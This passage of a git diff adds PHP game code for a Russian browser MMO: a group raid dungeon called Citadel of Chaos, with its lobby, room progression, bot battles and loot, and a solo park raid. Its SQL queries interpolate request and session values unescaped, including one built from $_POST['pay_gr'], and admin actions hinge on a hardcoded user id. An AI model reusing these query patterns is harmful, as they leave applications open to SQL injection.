`cit_haos_var` SET `players`='{$ch_pl_t}' WHERE `group`='".$_POST['pay_gr']."';"); + } + } + else ($pass_in_err="Неверный пароль!"); + + else ($pay_err="Недостаточно денег для подачи стартового взноса!"); + else ($pay_err="Вы слишком ослаблены либо травмированы! "); + else ($pay_err="Группа уже набрана!"); + } + if ($_POST['adm_start_raid'] && $user['id']==1256) + { + mysql_query("DELETE FROM `cit_haos_status`;"); + mysql_query("DELETE FROM `cit_haos_var`;"); + AddChatSystem('Начинается прием заявок в рейд на Цитадель Хаоса! Начало рейда через 15 минут.'); + $ch_time=time(); + mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';"); + } + if ($_POST['test_start_raid'] && $user['id']==1256) + { + mysql_query("DELETE FROM `cit_haos_status`;"); + mysql_query("DELETE FROM `cit_haos_var`;"); + // AddChatSystem('Начинается прием заявок в рейд на Цитадель Хаоса! Начало рейда через 15 минут.'); + $ch_time=time(); + mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';"); + } + if ($in_haos['room'] != 0 && $in_haos['status'] == 2) + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '601',`online`.`room` = '601' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + header('location: c_haos_in.php'); + + } + if ($in_haos['status'] == 2) + { + $group_num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}';")); + $group_ready=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE (`status` = '2' AND `group` = '{$in_haos['group']}');")); + if($group_num==$group_ready && $group_ready>0) + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '601',`online`.`room` = '601' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + mysql_query("UPDATE `cit_haos_status` SET room='1' WHERE id = '{$user['id']}'; "); + header('location: c_haos_in.php'); + }; + } +$in_haos = mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;")); + ?> + + + + + + + + + + + + + + + + +($cit_haos_t['value']+900))//def 900 +{ + $tob_all=array(); + mysql_query("DELETE FROM `cit_haos_var` WHERE CHAR_LENGTH(players)<3;"); + + if ($in_haos['status']==1) + { + $dbb=mysql_query("SELECT * FROM `cit_haos_var`;"); + while($ch_tob=mysql_fetch_array($dbb)) + if(!in_array($ch_tob['players'],$tob_all)) + $tob_all = $tob_all.";".$ch_tob['players']; + foreach(explode(";",$tob_all) as $tob) + mysql_query("UPDATE `cit_haos_status` SET status='2' WHERE id = '{$tob}'; "); + //header('location: c_haos.php'); + } + $tm=time(); + $test_tm=time()+900; + $show_tm=$cit_haos_t['value']+0.5*24*60*60; + switch (date("N",$show_tm)) + { + case 1:$d_o="в понедельник";break; + case 2:$d_o="во вторник";break; + case 3:$d_o="в среду";break; + case 4:$d_o="в четверг";break; + case 5:$d_o="в пятницу";break; + case 6:$d_o="в субботу";break; + case 7:$d_o="в воскресение";break; + } + if($tm<$cit_haos_t['value'])echo ''; + else echo ''; + echo ''; + if($user['id']==1256) echo ''; + if($user['id']==1256) echo ''; +} +elseif ($in_haos['status']==0) +{ + $cit_haos_gr=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_var`;")); + if($cit_haos_gr==0) + { + $pass_s=getPass(6); + mysql_query("INSERT INTO `cit_haos_var`(`group`,`password`) values('1','{$pass_s}');"); + $cit_haos_gr=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_var`;")); + } + echo ''; + echo ''; +} +elseif ($in_haos['status']==1) +{ + //echo ''; + $cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$in_haos['group']."' LIMIT 1;")); + echo ''; + echo(""); + echo(""); +} +elseif ($in_haos['status']==2) +{ + echo ''; + + //echo ''; + header('location: c_haos_in.php'); +} +elseif ($in_haos['status']==4) +{ + mysql_query("DELETE FROM `cit_haos_status` WHERE `id` ='{$user['id']}'; "); + echo ''; +} +elseif ($in_haos['status']==5) +{ + mysql_query("UPDATE users SET `doblest`=`doblest`+'1' WHERE `id` = '".$user['id']."';"); + addchp ('За убийство босса ЦХ вы получили 1 доблести','{[]}'.nick7 ($user['id']).'{[]}'); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) + VALUES ('','0','{$cur_user['id']}','\"".$user['login']."\" получил в ЦХ 1 доблести',1,'".time()."');"); + mysql_query("DELETE FROM `cit_haos_status` WHERE `id` ='{$user['id']}'; "); + header('location: c_haos.php'); + /*echo '';*/ +} +?> + + +

    Цитадель Хаоса

    Следующий рейд начнется '.date("j.m в H:i",$cit_haos_t['value']).'
    Готовьтесь! Следующий рейд будет '.$d_o.'


    Рейд начинается '.date("j.m в H:i",$cit_haos_t['value']+900).'
    Взнос за участие в рейде 20 кр
    '; + echo '
    Максимальный размер группы - 4 участника
    '; + echo '
    '.$pass_in_err.'
    '; + $check_em=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group`=1 ;")); + + if($check_em<1) + { + $i=1; + echo('Группа '.$i.":"); + $cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$i."' LIMIT 1;")); + if($cit_haos_pl['players']!='') + { + foreach(explode(";",$cit_haos_pl['players']) as $ch_p) + echo(nick3($ch_p).","); + echo('Пароль:'); + } + + else echo(' (Создать новую группу)'); + echo '
    '; + } + + + else + for($i=1;$i<=$cit_haos_gr+1;$i++) + { + echo('Группа '.$i.":"); + $cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$i."' LIMIT 1;")); + if(strlen($cit_haos_pl['players'])>1) + { + foreach(explode(";",$cit_haos_pl['players']) as $ch_p) + echo(nick3($ch_p).","); + echo('Пароль:'); + } + else echo(' (Создать новую группу)'); + echo '
    '; + } + + + echo ''; + if($pay_err) echo ($pay_err); + echo '
    Начать первый рейд:
    Рейд начинается '.date("j.m в H:i",$cit_haos_t['value']+900).'
    Ждем начала рейда...
    Ваша группа "); + if($cit_haos_pl['password']!='') + echo(":: Пароль - [".$cit_haos_pl['password']."]
    "); + //else + //echo(" - без пароля
    "); + if($pass_err) echo($pass_err."
    "); + $num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group`='".$in_haos['group']."';")); + echo("
    ".$num." из 4"); + //if($num==1) echo (" - Группа не набрана"); + /*else*/if($num==4) echo (" - Группа заполнена"); + echo("
    "); + $cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$in_haos['group']."' LIMIT 1;")); + foreach(explode(";",$cit_haos_pl['players']) as $ch_p) + echo(nick3($ch_p)."
    "); + + echo("
    '; + if($wait_msg) echo ($wait_msg); + echo'
    Еще рейд:
    Начать новый рейд:
    +
    + + + diff --git a/c_haos_in.php b/c_haos_in.php new file mode 100644 index 0000000..57a06e6 --- /dev/null +++ b/c_haos_in.php @@ -0,0 +1,432 @@ +0)) header("Location: index.php"); + include "config.php"; + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); + $in_haos = mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;")); + include "functions.php"; + $wait_msg="Ждем готовности всей группы..."; + //rooms + $ch_rooms=array + ( + // 0 - empty + "1"=>"Ворота (1)", + "2"=>"Двор (2)", + "3"=>"Внешний корридор (3)", + "4"=>"Спуск в подвал (4)", + "5"=>"Подвал (5)",//босс Душа + "6"=>"Люк на Западную стену (6)", + "7"=>"Западная стена (7)", + "8"=>"Галерея Страха (8)", + "9"=>"Западная башня (9)", + "10"=>"Галерея Смерти (10)",//босс Зомби + "11"=>"Проход к Северной стене (11)", + "12"=>"Галерея Тьмы (12)", + "13"=>"Северная стена (13)", + "14"=>"Галерея Бликов (14)", + "15"=>"Внутренний корридор (15)",//босс Повелитель + "16"=>"Гостевая (16)", + "17"=>"Руины Северной башни (17)", + "18"=>"Поминальная комната (18)", + "19"=>"Галерея Порталов (19)", + "20"=>"Зал Посвященных (20)",//босс Хромой Билли + "21"=>"Старая лестница (21)", + "22"=>"Трофейная (22)", + "23"=>"Костяной зал (23)", + "24"=>"Склеп (24)", + "25"=>"Лабиринт (25)",//босс Мародер + "26"=>"Тронный зал (26)", + "27"=>"Тайный корридор (27)", + "28"=>"Комната прислуги (28)", + "29"=>"Королевские покои (29)", + "30"=>"Переход (30)"//босс Грохобот + ); + //bots + + $ch_bots=array(); + //1 - упырь + //2 - падший + //3 - душа + $db=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$in_haos['group']."' limit 1; ")); + if(!$db['bots']) + { + $bot_low=array + ( + // 0 - empty + "1"=>"Упырь", + "2"=>"Посланник смерти", + "3"=>"Падший", + "4"=>"Отморозок", + "5"=>"Проклятие глубин" + ); + for($i=1;$i<=30;$i++) + { + $ch_get_bot=rand(1,5); + $ch_bots[$i]=array("0"=>$bot_low[$ch_get_bot]); + } + $ch_bots[5]=array("0"=>"Душа"); + $ch_bots[10]=array("0"=>"Зомби"); + $ch_bots[15]=array("0"=>"Повелитель"); + $ch_bots[20]=array("0"=>"Хромой Билли"); + $ch_bots[25]=array("0"=>"Мародер"); + $ch_bots[30]=array("0"=>"Грохобот"); + $dbb=serialize($ch_bots); + mysql_query("UPDATE `cit_haos_var` SET bots='".$dbb."' WHERE `group`='".$in_haos['group']."'; "); + } + else + { + $ch_bots=unserialize($db['bots']); + } + // комната - опыт == доблесть + $ch_priz=array + ( + "5" => array (100,1), + "10" => array (200,2), + "15" => array (300,3), + "20" => array (400,4), + "25" => array (500,5), + "30" => array (600,10) + ); + // комната - кирка == уник_7 == цветок == уник_8 + $ch_drop=array + ( + "25" => array (10,60,95,100), + "30" => array (3,6,7,8), + ); + $priz_low= + array("727"); + $priz_med= + array("775","776","777","778"); + $priz_flow= + array("14"); + $priz_high= + array("803","804","805","806"); + + /*$ch_bots[1]=array + ( + "0"=>"Младший страж глубин", + "1"=>"Младший страж глубин", + "2"=>"Босс глубин" + ); + $ch_bots[2]=array + ( + "0"=>"Младший страж глубин", + "1"=>"Босс глубин" + );*/ + + if ($user['room'] != 601) { header("Location: main.php"); die(); } + if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + if ($in_haos['status'] == 4) + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '600',`online`.`room` = '600' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + mysql_query("UPDATE `cit_haos_status` SET room='0',bot='0',group='0' WHERE id = '{$user['id']}'; "); + header('location: c_haos.php'); + } + if (!$ch_rooms[$in_haos['room']]) + { + mysql_query("UPDATE `users`,`online` SET `users`.`room` = '600',`online`.`room` = '600' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;"); + if ($in_haos['status'] == 2) + { + mysql_query("UPDATE `cit_haos_status` SET room='0',status='5',bot='0' WHERE id = '{$user['id']}'; "); + addchp ('Вы пробились до двери на 2 уровень подземелий Цитадели Хаоса. Только опытный воин и храбрый страж сможет пройти через нее (10 уровень, страж 2 уровня)','{[]}'.nick7 ($user['id']).'{[]}'); + } + mysql_query("UPDATE `cit_haos_var` SET bots='',players='' WHERE group='".$in_haos['group']."'; "); + header('location: c_haos.php'); + } + + ?> + + + + + + + + + + + + + + + + + + + +Внимание! '.$bot_name.' напал на Вашу группу!','{[]}'.nick7 ($gr['id']).'{[]}'); + } + + for($bot_c=0;$bot_c<$bot_count;$bot_c++) + { + $nb = mysql_fetch_array(mysql_query("SELECT count(`id`) FROM `bots` WHERE `name` LIKE '".$bot_name."%';")); + mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".$bot_name." ".($nb[0]+1)."','".$bot_id."','','".$bot_hp."');"); + $bot = mysql_insert_id(); + $bots[]=$bot; + } + // командный вход + $group_fight=array(); + $group_raw=mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}' AND status='2';"); + while ($gr = mysql_fetch_array($group_raw)) + $group_fight[]=$gr['id']; + { + $teams = array(); + foreach($bots as $b) + foreach($group_fight as $gf) + { + $teams[$gf][$b] = array(0,0,time()); + $teams[$b][$gf] = array(0,0,time()); + mysql_query("UPDATE `cit_haos_status` SET `status` = '3' WHERE `id` ='{$gf}'; "); + } + + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2` + ) + VALUES + ( + NULL,'','".serialize($teams)."','3','1','0','".implode(";", $group_fight)."','".implode(";", $bots)."','".time()."','".time()."' + )"); + + $id = mysql_insert_id(); + + // апдейтим бота + foreach($bots as $b) mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$b} LIMIT 1;"); + + // создаем лог + //$rr = "".nick3($user['id'])." и ".nick3($bot).""; + + //addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." сошлись в поединке.
    "); + } + foreach($group_fight as $gf) mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id`= {$gf};"); + + //} + die(""); + } +} + $group_num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}';")); + $group_ready=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE (`room` = '{$in_haos['room']}' AND `group` = '{$in_haos['group']}');")); + $cit_haos_t=mysql_fetch_array(mysql_query("SELECT * FROM `variables` WHERE `var` = 'cit_haos_time' LIMIT 1;")); +$tm=time(); + if($in_haos['status'] == 2) + {if(($tm>($cit_haos_t['value']+960))||($tm<($cit_haos_t['value']-600)))//def 960 + { + $flag_ref=1; + foreach($ch_bots[$in_haos['room']] as $bot_id=>$bot_name) + if($bot_id>=$in_haos['bot']) + { + echo ''; + $flag_ref=0; + } + if (!array_key_exists($in_haos['bot'],$ch_bots[$in_haos['room']])) + { + echo($wait_msg); + //проверяем есть ли приз + if(array_key_exists($in_haos['room'],$ch_priz)) + { + $priz_exp=$ch_priz[$in_haos['room']][0]; + $priz_dobl=$ch_priz[$in_haos['room']][1]; + } + else + { + $priz_exp=0; + $priz_dobl=0; + } + if(array_key_exists($in_haos['room'],$ch_drop)) + { + $got_drop=rand(0,400);//100 - norm, 400 - 25% + } + else + { + $got_drop=-1; + } + //выбираем приз + if($in_haos['room']<30) + { + if($got_drop>=0 && $got_drop<$ch_drop[$in_haos['room']][0]) + { + $rand_k = array_rand($priz_low, 1); + $p_id=$priz_low[$rand_k]; + $p_shop="shop"; + } + elseif($got_drop>=$ch_drop[$in_haos['room']][0] && $got_drop<$ch_drop[$in_haos['room']][1]) + { + $rand_k = array_rand($priz_med, 1); + $p_id=$priz_med[$rand_k]; + $p_shop="shop"; + } + elseif($got_drop>=$ch_drop[$in_haos['room']][1] && $got_drop<$ch_drop[$in_haos['room']][2]) + { + $rand_k = array_rand($priz_flow, 1); + $p_id=$priz_flow[$rand_k]; + $p_shop="fshop"; + } + elseif($got_drop>=$ch_drop[$in_haos['room']][2] && $got_drop<=$ch_drop[$in_haos['room']][3]) + { + $rand_k = array_rand($priz_high, 1); + $p_id=$priz_high[$rand_k]; + $p_shop="shop"; + } + else + {}; + } + elseif($in_haos['room']==30) + { + if($got_drop<=200)//400max/4=>50% + { + $priz_low= + array("808","809"); + + $rand_k = array_rand($priz_low, 1); + $p_id=$priz_low[$rand_k]; + $p_shop="shop"; + } + else + {} + + } + else + {}; + //выбираем получателя + $all_get=array(); + $gr_raw=mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}';"); + while($g_id=mysql_fetch_array($gr_raw)) + $all_get[]=$g_id['id']; + + $l_id=rand(0,count($all_get)-1); + //$all_get[$l_id]; + //if($priz_exp>0) addchp ('CH get priz - '.$all_get[$l_id],'{[]}'.nick7 (1258).'{[]}'); + //даем призы + if($p_id>0) + { + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `{$p_shop}` WHERE `id` = '{$p_id}' LIMIT 1;")); + mysql_query("INSERT INTO `inventory` + (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`, + `gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`, + `mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration`,`present` + ) + VALUES + ('{$dress['id']}','{$all_get[$l_id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}', + '{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','{$dur}','Мусорщик' + ) ;"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','$all_get[$l_id]','\"".$user['login']."\" получил в ЦХ предмет: \"".$dress['name']."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."]',1,'".time()."');"); + addchp ('За убийство босса Цитадели Хаоса вы получили '.$dress['name'],'{[]}'.nick7 ($all_get[$l_id]).'{[]}'); + } + if($priz_exp>0) + { + GiveExp($all_get[$l_id],$priz_exp); + addchp ('За убийство босса Цитадели Хаоса вы получили '.$priz_exp.' опыта','{[]}'.nick7 ($all_get[$l_id]).'{[]}'); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) + VALUES ('','0','{$cur_user['id']}','\"".$all_get[$l_id]."\" получил в ЦХ \"".$priz_exp."\" опыта',1,'".time()."');"); + } + if($priz_dobl>0) + { + mysql_query("UPDATE users SET `doblest`=`doblest`+'".$priz_dobl."' WHERE `id` = '".$all_get[$l_id]."';"); + addchp ('За убийство босса Цитадели Хаоса вы получили '.$priz_dobl.' доблести','{[]}'.nick7 ($all_get[$l_id]).'{[]}'); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) + VALUES ('','0','{$cur_user['id']}','\"".$all_get[$l_id]."\" получил в ЦХ \"".$priz_dobl."\" доблести',1,'".time()."');"); + } + mysql_query("UPDATE `cit_haos_status` SET `room` = `room`+1,`bot`=0 WHERE `group` = '{$in_haos['group']}'; "); + if (!headers_sent()) header('location: c_haos_in.php'); + } + if($flag_ref==0 && !headers_sent()) header('location: c_haos_in.php'); + } + else + { + echo(""); + echo ''; + } + } +?> + +

    Цитадель Хаоса:
    +

    '; + if($bot_id==$in_haos['bot']) echo''.$bot_name.''; else echo($bot_name); + if($bot_id==$in_haos['bot']) echo' - '; + echo '
    Ждем готовности группы... Приготовьтесь!
    '; + echo '
    +
    '); +?> + + diff --git a/c_park.php b/c_park.php new file mode 100644 index 0000000..4522758 --- /dev/null +++ b/c_park.php @@ -0,0 +1,249 @@ +0)) header("Location: index.php"); + include "config.php"; + $user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;")); + $in_park = mysql_fetch_array(mysql_query("SELECT * FROM `cit_park` WHERE `id` = '{$user['id']}' LIMIT 1;")); + $owntravma = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner` = ".$user['id']." AND (type=13 OR type=12 OR type=14) limit 1;")); + + if(!$in_park) + { + mysql_query("INSERT INTO cit_park(id) values('{$user['id']}');"); + $in_park=mysql_fetch_array(mysql_query("SELECT * FROM `cit_park` WHERE `id` = '{$user['id']}' LIMIT 1;")); + } + + include "functions.php"; + + if ($user['room'] != 602) { header("Location: main.php"); die(); } + if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + + //комнаты парка + + $ch_rooms=array + ( + // 0 - empty + "1"=>"Площадь (1)", + "2"=>"Аллея Геры (2)", + "3"=>"Фонтан Снов (3)", + "4"=>"Лабиринт Фавна (4)", + "5"=>"Поляна Сказок (5)",//босс Душа + "6"=>"Переулок Зеленый (6)", + "7"=>"Дубрава (7)", + "8"=>"Старая Роща (8)", + "9"=>"Лукоморье (9)", + "10"=>"Золотая Роща (10)",//босс Зомби + "11"=>"Вечная Осень (11)", + "12"=>"Заливные Луга (12)", + "13"=>"Терра Нова (13)", + "14"=>"Гора Райдинг (14)", + "15"=>"Пасифик-Риф (15)"//босс Повелитель + ); + + // выдаем ботов + + $ch_bots=array(); + $bot_low=array + ("4150","4152","4153","4154","4155","4156"); + $bot_high=array + ("4157","4158","4159"); + if($in_park['bots']=='') + { + for($i=1;$i<=15;$i++) + { + $rand_num=rand(3,7); + $rand_bot=''; + for($j=1;$j<=$rand_num;$j++) + { + $rand_bot.=$bot_low[array_rand($bot_low,1)]; + $rand_bot.=';'; + } + if($i%5==0) + $rand_bot.=$bot_high[array_rand($bot_high,1)]; + $rand_bot.=';'; + + $ch_bots[$i]=$rand_bot; + } + $dbb=serialize($ch_bots); + mysql_query("UPDATE `cit_park` SET bots='{$dbb}' WHERE `id`='{$user['id']}'; "); + } + else + { + $ch_bots=unserialize($in_park['bots']); + } + + // начинаем расчет действий + + if($_POST['start_raid']) + { + mysql_query("UPDATE `cit_park` SET `counter`=`counter`+1, `room`=`room`+1 WHERE `id`='{$user['id']}';"); + $in_park=mysql_fetch_array(mysql_query("SELECT * FROM `cit_park` WHERE `id` = '{$user['id']}' LIMIT 1;")); + } + + //старт боя - началоа + + if($_POST['attack']) + { + $bots_raw=explode(";",$ch_bots[$in_park['room']]); + $bots=array(); + foreach($bots_raw as $bot_id) + if($bot_id>0) + { + $b_pers=mysql_fetch_array(mysql_query("SELECT `login`,`maxhp` FROM users WHERE id='{$bot_id}' LIMIT 1;")); + $bot_hp=$b_pers['maxhp']; + $bot_name=$b_pers['login']; + $nb = mysql_fetch_array(mysql_query("SELECT count(`id`) FROM `bots` WHERE `name` LIKE '".$bot_name."%';")); + mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".$bot_name." ".($nb[0]+1)."','".$bot_id."','','".$bot_hp."');"); + $bots[]=mysql_insert_id(); + } + + $teams = array(); + foreach($bots as $b) + { + $teams[$user['id']][$b] = array(0,0,time()); + $teams[$b][$user['id']] = array(0,0,time()); + } + + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2` + ) + VALUES + ( + NULL,'','".serialize($teams)."','3','1','0','".$user['id']."','".implode(";", $bots)."','".time()."','".time()."' + )"); + + $id = mysql_insert_id(); + foreach($bots as $b) mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$b} LIMIT 1;"); + mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id`= {$user['id']};"); + + addchp ('Внимание! Вы вступили в бой c бандитами!','{[]}'.nick7 ($user['id']).'{[]}'); + + die(""); + } + + + //старт боя - конец + + ?> + + + + + + + + + + + + + + + + +=15) +{ + echo(''); + echo(""); + if($in_park['room']==15) + { + echo(""); + //раздача гаек + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '856' LIMIT 1;")); + $gadget_num=mt_rand(1,8); + for($i=0;$i<$gadget_num;$i++) + { + mysql_query("INSERT INTO `inventory` + (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`, + `gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`, + `mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration` + ) + VALUES + ('{$dress['id']}','{$user[id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}', + '{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','0' + ) ;"); + } + //раздача страничек + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '867' LIMIT 1;")); + $gadget_num=mt_rand(1,5); + for($i=0;$i<$gadget_num;$i++) + { + mysql_query("INSERT INTO `inventory` + (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`, + `gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`, + `mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration` + ) + VALUES + ('{$dress['id']}','{$user[id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}', + '{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','0' + ) ;"); + } 